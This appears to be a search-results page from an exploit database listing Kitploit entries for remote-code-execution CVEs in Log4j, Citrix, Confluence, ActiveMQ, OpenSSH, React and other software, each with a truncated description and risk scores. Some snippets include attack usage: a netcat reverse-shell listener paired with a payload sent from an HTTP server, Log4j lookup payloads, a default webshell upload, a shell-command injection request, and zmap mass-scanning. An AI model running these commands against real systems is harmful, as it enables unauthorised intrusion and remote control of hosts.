Lucene search
+L

269924 matches found

Kitploit
Kitploit
added 2026/09/02 3:15 p.m.3 views

Log4j-RCE

Log4j-RCE Log4j RCE - CVE-2021-44228 ¿Cómo ejecutarlo? root@kitploit: php log4j.php https://1337.com Requisitos PHP CURL PAYLOAD DNS LOG Collaborator de Burpsuite o usa dnslog.cn Lista de Payloads root@kitploit: $ctx:loginId $map:type $filename $date:MM-dd-yyyy $docker:containerId...

10CVSS7AI score0.99999EPSS
SaveExploits367
Kitploit
Kitploit
added 2026/09/02 3:15 p.m.2 views

CVE-2019-19781

Remote Code Execution Exploit CVE-2019-19781- Citrix Application Delivery Controller & Gateway Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway CVE-2019-19781 Usage : bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE e.g : bash CVE-2019-19781.sh...

9.8CVSS7AI score0.99999EPSS
SaveExploits48
Kitploit
Kitploit
added 2026/09/02 3:15 p.m.4 views

CVE-2024-0195-SpiderFlow

CVE-2024-0195 Control Inadecuado de Generación de Código 'Inyección de Código' Crítico 2024 Resumen CVE-2024-0195 es una vulnerabilidad crítica de inyección de código en la aplicación web spider-flow 0.4.3, específicamente en la función FunctionService.saveFunction del archivo...

9.8CVSS6.7AI score0.19403EPSS
SaveExploits4
Kitploit
Kitploit
added 2026/09/02 3:12 p.m.2 views

CVE-2022-24086

CVE-2022-24086 Probado con: magento 2.4.3 y datos de ejemplo Imagen de Docker: docker.io/bitnami/magento:2.4.3-debian-10-r0 Nombre: root@kitploit: var this.getTemplateFilter.filter$order.shippingaddress.cityvar...

10CVSS7.4AI score0.99199EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/09/02 3:11 p.m.3 views

CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC

CVE-2024-47533 - Cobbler XMLRPC Authentication Bypass RCE Exploit ⚠️ Critical Remote Code Execution via Authentication Bypass in Cobbler 🛠️ PoC implementation by @dollarboysushil 💡 Overview Cobbler, a Linux installation server that enables rapid setup of network installation environments, has an...

9.8CVSS7.5AI score0.04003EPSS
SaveExploits6References1
Kitploit
Kitploit
added 2026/09/02 3:11 p.m.3 views

CVE-2022-26134

CVE-2022-26134 - Confluence OGNL injection vulnerability 脚本使用 安装python库 pip install -r requirements.txt 漏洞验证 python3 CVE-2022-26134check.py -u url -c whoami 批量扫描 python3 CVE-2022-26134check.py -f url.txt -c whoami 影响版本 Confluence Server and Data Center = 1.3.0 Confluence Server and Data Center...

9.8CVSS7.3AI score0.99999EPSS
SaveExploits77
Kitploit
Kitploit
added 2026/09/02 3:11 p.m.3 views

CVE-2024-23692-RCE

TG Join Us https://t.me/WanLiChangChengWanLiChang 加入我们定时查收各类漏洞 EXP POC CVE-2024-23692-RCE-EXP CVE-2024-23692 Rejetto HTTP HFS服务器 RCE FOFA "HttpFileServer" 注意事项 影响范围为 HFS2.3 及以下版本 使用方法 How To Use ulimit -n 999999; zmap -p PORT -B500M | go run hfs.go PORT CHANGE THE PORT WHICH U WANNA TO EXPLOIT TE...

9.8CVSS7.4AI score0.99471EPSS
SaveExploits21
Kitploit
Kitploit
added 2026/09/02 3:10 p.m.4 views

CVE-2024-27956-RCE-File-Package

CVE-2024-27956-RCE Paquete de archivos Contenido: 1. exploit.py Creador original:https://GitHub.com/diego-tella 2. modifiedexploit.py Modificado con una opción de ignorar la verificación SSL 3. Captura de pantalla 4. wpValvePressplugin.py Script de Python que utiliza parámetros URI para buscar el...

9.9CVSS7.4AI score0.93971EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/09/02 3:09 p.m.3 views

CVE-2023-46604

CVE-2023-46604 构建docker-compose,其中包含两个镜像:受害机与目标机,按所需环境配置 在受害机上,启动ActiveMQ 切换到攻击机: • 开启HTTP服务以发送poc: python3 -m http.server • 使用netcat监听连接至攻击机 nc -nlvp 4444 • 发送载荷,建立反向shell连接至攻击机 python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml 其中: Exploit.py:漏洞利用代码文件 -i...

10CVSS6.9AI score0.99723EPSS
SaveExploits33
Kitploit
Kitploit
added 2026/09/02 3:09 p.m.4 views

cve-2022-29464

cve-2022-29464 免责声明 root@kitploit: 脚本仅供学习参考,请勿恶意攻击他人网站 如违法乱纪,造成一切后果由使用者自行承担 技术无罪,与作者无关 使用脚本默认同意以上说明! --Author:lowkey0808 使用方法 root@kitploit: usage: python3 -u url cve-2022-29464 optional arguments: -h, --help show this help message and exit -u 目标url -s 上传的木马,默认上传内置shell.jsp 可直接命令执行 可上传webshell...

10CVSS7.3AI score0.99999EPSS
SaveExploits22
Kitploit
Kitploit
added 2026/09/02 3:09 p.m.3 views

MSDT_CVE-2022-30190

MSDTCVE-2022-30190 本仓库从 Defender 视角讨论 Follina MSDT 漏洞 目录 关于 时间线 理解漏洞利用 IOC 列表 检测策略 测试与研究 缓解方案 参考 关于 该漏洞是 Microsoft Windows 支持诊断工具 MSDT 的远程代码执行漏洞,由 Shadow Chaser Group 的 crazyman 报告。Microsoft 现已将其跟踪为 CVE-2022-30190。该漏洞影响所有仍在接收安全更新的 Windows 版本(Windows 7+ 及 Server 2008+)。 正如安全研究员 naosec...

9.3CVSS7.9AI score0.99234EPSS
SaveExploits63References8
Kitploit
Kitploit
added 2026/09/02 3:08 p.m.3 views

CVE-2024-6387_poc

CVE-2024-6387 Prueba de Concepto PoC Descripción Este repositorio contiene una PoC para la vulnerabilidad CVE-2024-6387, que apunta a una condición de carrera en el manejador de señales del servidor OpenSSH sshd en sistemas Linux basados en glibc. La vulnerabilidad permite la ejecución remota de...

8.1CVSS6.9AI score0.99506EPSS
SaveExploits71
Kitploit
Kitploit
added 2026/09/02 3:07 p.m.4 views

Log4j-Vulnerability

Vulnerabilidad Log4j Tutorial: https://youtu.be/PNDBjoT83zA Tutorial: https://cryptodeeptech.ru/log4j-vulnerability Antecedentes de Log4j El equipo de seguridad de Alibaba Cloud reveló públicamente una vulnerabilidad crítica CVE-2021-44228 que permite la ejecución remota de código sin autenticaci...

8AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/02 3:06 p.m.5 views

CVE-2019-15107

Aplicaciones Webmin para versiones 1.890 e inferiores son vulnerables a Ejecución Remota de Código no Autenticada. CVE-2019-15107. Referencia : https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE...

10CVSS7.4AI score0.99766EPSS
SaveExploits39References1
Kitploit
Kitploit
added 2026/09/02 3:06 p.m.3 views

mcp-pwn

CVE-2026-23744 — MCPJam 未授权远程代码执行 概述 MCPJam 是一个开源的 MCP(模型上下文协议)检查器和代理,用于连接、调试和管理 MCP 服务器。版本 = 1.4.3 攻击向量| 网络 — 无需认证 披露日期| 2026-01-15 技术分析 存在漏洞的端点接受未经验证的 JSON POST 请求: root@kitploit: POST /api/mcp/connect HTTP/1.1 Host: :3000 Content-Type: application/json "serverConfig": "command": "sh", "args":...

9.8CVSS6.1AI score0.45026EPSS
SaveExploits39References2
Kitploit
Kitploit
added 2026/09/02 3:06 p.m.2 views

sunlogin_rce

前言 没啥好说的,直接放工具和有漏洞的版本吧,大家本地玩玩很不错,切勿用于非法测试。 测试向日葵客户端漏洞版本:11.0.0.33162 漏洞客户端在源码中提供. 端口扫描用的是:https://github.com/jboursiquot/portscan 漏洞版本根据反馈获得 11.1.1 10.3.0.27372 11.0.0.33162 命令说明 -h 指定目标 -t 选择扫描或者命令执行 默认scan -p 设置扫描端口范围 默认4w到65535 -c 需要执行的命令 相关截图 扫描 rce 时间 20220216 From https://github.com/TRYblog...

5.9AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/02 3:06 p.m.2 views

CVE-2024-4577

Comprobador de Vulnerabilidad CVE-2024-4577 Este script está diseñado para comprobar la vulnerabilidad descrita por CVE-2024-4577, que implica explotar ciertas configuraciones de PHP para ejecutar código arbitrario de forma remota. Envía una solicitud POST a endpoints especificados en una lista d...

9.8CVSS7.2AI score0.99987EPSS
SaveExploits68
Kitploit
Kitploit
added 2026/09/02 3:06 p.m.4 views

CVE-2024-3400

CVE-2024-3400 PoC Только в образовательных целях. Используйте только на серверах, на тестирование которых у вас есть разрешение. Как использовать зависимости: root@kitploit: $ pip install rich сканирование targets.txt: root@kitploit: $ python run.py -f targets.txt -t 10 - Sending 102 requests... ...

10CVSS7.4AI score0.99999EPSS
SaveExploits46References2
Kitploit
Kitploit
added 2026/09/02 3:05 p.m.5 views

CVE-2021-40444-exp

CVE-2021-40444 PoC Generador de documentos docx maliciosos para explotar CVE-2021-40444 Ejecución remota de código en Microsoft Office Word La creación de este script se basa en ingeniería inversa sobre la muestra utilizada en ataques reales:...

8.8CVSS6.9AI score0.9745EPSS
SaveExploits38
Kitploit
Kitploit
added 2026/09/02 3:05 p.m.3 views

PoC-CVE-2025-55182

Le script exploite la CVE-2025-55182, un RCE qui affecte les composants serveur React utilisés dans React.js et Next.js. Versions de React concernées : 19.0.0 19.1.0 et 19.1.1 19.2.0 Next.js : Next.js 15.x toutes les versions antérieures aux correctifs Next.js 16.0.0 versions alpha/bêta/RC...

10CVSS7AI score0.99802EPSS
SaveExploits389
Rows per page
Query Builder